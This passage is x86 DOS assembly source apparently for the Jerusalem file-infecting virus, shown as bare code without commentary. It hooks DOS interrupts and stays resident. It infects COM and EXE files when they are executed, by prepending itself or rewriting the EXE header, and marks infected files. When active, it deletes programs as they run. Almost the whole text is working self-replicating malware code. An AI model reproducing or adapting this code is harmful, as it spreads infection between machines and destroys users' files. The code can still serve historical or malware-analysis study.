pop ax pop es pop ds pushf call dword ptr cs:oldint21 ; execute program push ds pop es mov ah,49h ; release memory block int 21h mov ah,4Dh ; get errorlevel to ax int 21h mov ah,31h ; go TSR mov dx,600h mov cl,4 shr dx,cl add dx,10h int 21h int24: xor al,al iret int8: cmp cs:int8counter,2 jne no_box push ax push bx push cx push dx push bp mov ax,602h ; scroll up 2 lines mov bh,87h ; (5,5) - (10,10) mov cx,505h mov dx,1010h int 10h pop bp pop dx pop cx pop bx pop ax no_box: dec cs:int8counter jnz exitint8 mov cs:int8counter,1 push ax push cx push si mov cx,4001h ; delay loop rep lodsb pop si pop cx pop ax exitint8: jmp dword ptr cs:oldint8 ; call original handler int21: pushf cmp ah,0E0h ; installation check? jne not_install mov ax,300h ; return installation marker popf iret not_install: cmp ah,0DDh je restore_COM cmp ah,0DEh je restore_EXE cmp ax,4B00h ; execute? jne exitint21 jmp execute exitint21: popf jmp dword ptr cs:oldint21 restore_COM: pop ax pop ax mov ax,100h mov cs:COMdest,ax pop ax ; get program CS mov word ptr cs:COMdest+2,ax rep movsb ; restore bytes popf mov ax,cs:zero ; clear AX jmp dword ptr cs:COMdest ; return to original COM file restore_EXE: add sp,6 popf mov ax,cs mov ss,ax mov sp,offset endjerusalem push es push es xor di,di push cs pop es mov cx,10h mov si,bx mov di,offset tempheader rep movsb mov ax,ds mov es,ax mul cs:parasize ; convert to bytes add ax,cs:_headersize adc dx,0 div cs:parasize ; convert to paragraphs mov ds,ax mov si,dx mov di,dx mov bp,es mov bx,cs:_filelengthhi or bx,bx jz no_move_code move_code: mov cx,8000h rep movsw add ax,1000h add bp,1000h mov ds,ax mov es,bp dec bx jnz move_code no_move_code: mov cx,cs:_filelengthlo rep movsb pop ax push ax add ax,10h add cs:_initialSS,ax add word ptr cs:EXEdest+2,ax mov ax,cs:tempheader pop ds pop es mov ss,cs:_initialSS mov sp,cs:_initialSP jmp dword ptr cs:EXEdest delete_file: xor cx,cx ; clear file attributes mov ax,4301h int 21h mov ah,41h ; delete file int 21h mov ax,4B00h ; execute it popf jmp dword ptr cs:oldint21 execute: cmp cs:activate_flag,1 je delete_file mov cs:filehandle,0FFFFh mov cs:alloc_flag,0 mov cs:filenameptr,dx mov word ptr cs:filenameptr+2,ds push ax push bx push cx push dx push si push di push ds push es cld mov di,dx xor dl,dl cmp byte ptr [di+1],':' ; drive specified? jne execute_nodrive mov dl,[di] ; get drive and dl,1Fh ; convert to number execute_nodrive: mov ah,36h ; get drive info`s int 21h cmp ax,0FFFFh ; drive exist? jne check_drivespace go_exit_execute: jmp exit_execute check_drivespace: mul bx ; ax = clus/sec, bx=free clus mul cx ; cx = bytes/sector or dx,dx ; check if enough free space jnz enough_space cmp ax,viruslength jb go_exit_execute enough_space: mov dx,cs:filenameptr push ds pop es xor al,al mov cx,41h repne scasb mov si,cs:filenameptr uppercase_loop: mov al,[si] or al,al jz uppercase_loop_done cmp al,'a' jb not_lower cmp al,'z' ja not_lower sub byte ptr [si],' ' ; convert to uppercase not_lower: inc si jmp short uppercase_loop uppercase_loop_done: mov cx,0Bh ; check if command.com sub si,cx mov di,offset command_com push cs pop es mov cx,0Bh repe cmpsb jnz not_command_com jmp exit_execute not_command_com: mov ax,4300h ; get file attributes int 21h jc error1 mov cs:fileattr,cx error1: jc error2 xor al,al mov cs:COM_EXE_flag,al ; ASSume COM file push ds pop es mov di,dx mov cx,41h repne scasb cmp byte ptr [di-2],'M' je EXEidentified cmp byte ptr [di-2],'m' je EXEidentified inc cs:COM_EXE_flag EXEidentified: mov ax,3D00h ; open file r/o int 21h error2: jc error3 mov cs:filehandle,ax mov bx,ax mov ax,4202h ; go to end of file - 5 bytes mov cx,0FFFFh mov dx,0FFFBh int 21h jc error2 add ax,5 ; get file size mov cs:filesize,ax mov cx,5 ; read last 5 bytes mov dx,offset readbuffer mov ax,cs mov ds,ax mov es,ax mov ah,3Fh int 21h mov di,dx mov si,offset marker repe cmpsb jnz not_infected mov ah,3Eh ; close file int 21h jmp exit_execute not_infected: mov ax,3524h ; get old int 24 handler int 21h mov oldint24,bx ; and save it mov word ptr oldint24+2,es mov dx,offset int24 ; set ours as new one mov ax,2524h int 21h lds dx,dword ptr filenameptr; load file name xor cx,cx ; clear file attributes mov ax,4301h int 21h error3: jc error4 mov bx,cs:filehandle mov ah,3Eh ; close file int 21h mov cs:filehandle,0FFFFh mov ax,3D02h ; open file read/write int 21h jc error4 mov cs:filehandle,ax ; save handle mov ax,cs mov ds,ax mov es,ax mov bx,filehandle mov ax,5700h ; get file time/date int 21h mov filedate,dx ; save them mov filetime,cx mov ax,4200h ; go to start of file xor cx,cx mov dx,cx int 21h error4: jc error5 cmp COM_EXE_flag,0 je infect_com jmp short infect_exe db 90h infect_com: mov bx,1000h ; allocate one segment mov ah,48h int 21h jnc allocation_fine mov ah,3Eh ; close file mov bx,filehandle int 21h jmp exit_execute allocation_fine: inc alloc_flag mov es,ax ; copy virus to new buffer xor si,si mov di,si mov cx,viruslength rep movsb mov dx,di mov cx,filesize mov bx,filehandle push es pop ds mov ah,3Fh ; read file to buffer int 21h error5: jc error6 add di,cx xor cx,cx ; go to start of file mov dx,cx mov ax,4200h int 21h mov si,offset marker ; zopy marker to end of file mov cx,5 rep movs byte ptr es:[di],cs:[si] mov cx,di ; write virus + carrier xor dx,dx mov ah,40h int 21h error6: jc error7 jmp error12 infect_exe: mov cx,1Ch ; read EXE header mov dx,offset header mov ah,3Fh int 21h error7: jc error8 mov word ptr ds:header+12h,1984h ; infection marker mov ax,ds:header+0eh; initial SS mov ds:saveSS,ax mov ax,ds:header+10h ; initial SP mov ds:saveSP,ax mov ax,ds:header+14h mov ds:initialCSIP,ax mov ax,ds:header+16h mov ds:initialCSIP+2,ax mov ax,ds:header+4 ; get file size cmp word ptr ds:header+2,0 ; rounded? je not_rounded dec ax ; deround not_rounded: mul word ptr ds:pagesize add ax,ds:header+2 adc dx,0 ; get total file size add ax,0Fh adc dx,0 and ax,0FFF0h ; round to nearest paragraph mov ds:filelength,ax mov ds:filelength+2,dx add ax,viruslength ; add virus length adc dx,0 error8: jc error9 div word ptr ds:pagesize ; convert to page size or dx,dx ; need to round jz dont_round inc ax dont_round: mov ds:header+4,ax ; put new values in header mov ds:header+2,dx mov ax,ds:filelength ; convert filesize mov dx,ds:filelength+2 div word ptr ds:parasize ; to paragraphs sub ax,ds:header+8 ; subtract header size mov ds:header+16h,ax ; insert as initial CS mov word ptr ds:header+14h,offset relocate_entry mov ds:header+0eh,ax ; insert new stack segment mov word ptr ds:header+10h,offset endjerusalem; & pointer xor cx,cx ; rewind to start of file mov dx,cx mov ax,4200h int 21h error9: jc error10 mov cx,1Ch ; write new header to file mov dx,offset header mov ah,40h int 21h error10: jc error11 cmp ax,cx jne error12 mov dx,ds:filelength ; go to end of file mov cx,ds:filelength+2 mov ax,4200h int 21h error11: jc error12 xor dx,dx ; concatenate virus mov cx,viruslength mov ah,40h int 21h error12: cmp cs:alloc_flag,0 ; did we allocate memory? je no_free ; no, don't free mov ah,49h ; release memory int 21h no_free: cmp cs:filehandle,0FFFFh ; clear variables je exit_execute mov bx,cs:filehandle ; restore file date/time mov dx,cs:filedate mov cx,cs:filetime mov ax,5701h int 21h mov ah,3Eh ; close file int 21h lds dx,dword ptr cs:filenameptr mov cx,cs:fileattr mov ax,4301h ; restore attributes int 21h lds dx,dword ptr cs:oldint24; restore int 24 handler mov ax,2524h int 21h exit_execute: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:oldint21 ; slack space for stack here org 710h endjerusalem: nop int 20h db 'MsDos' end jerusalem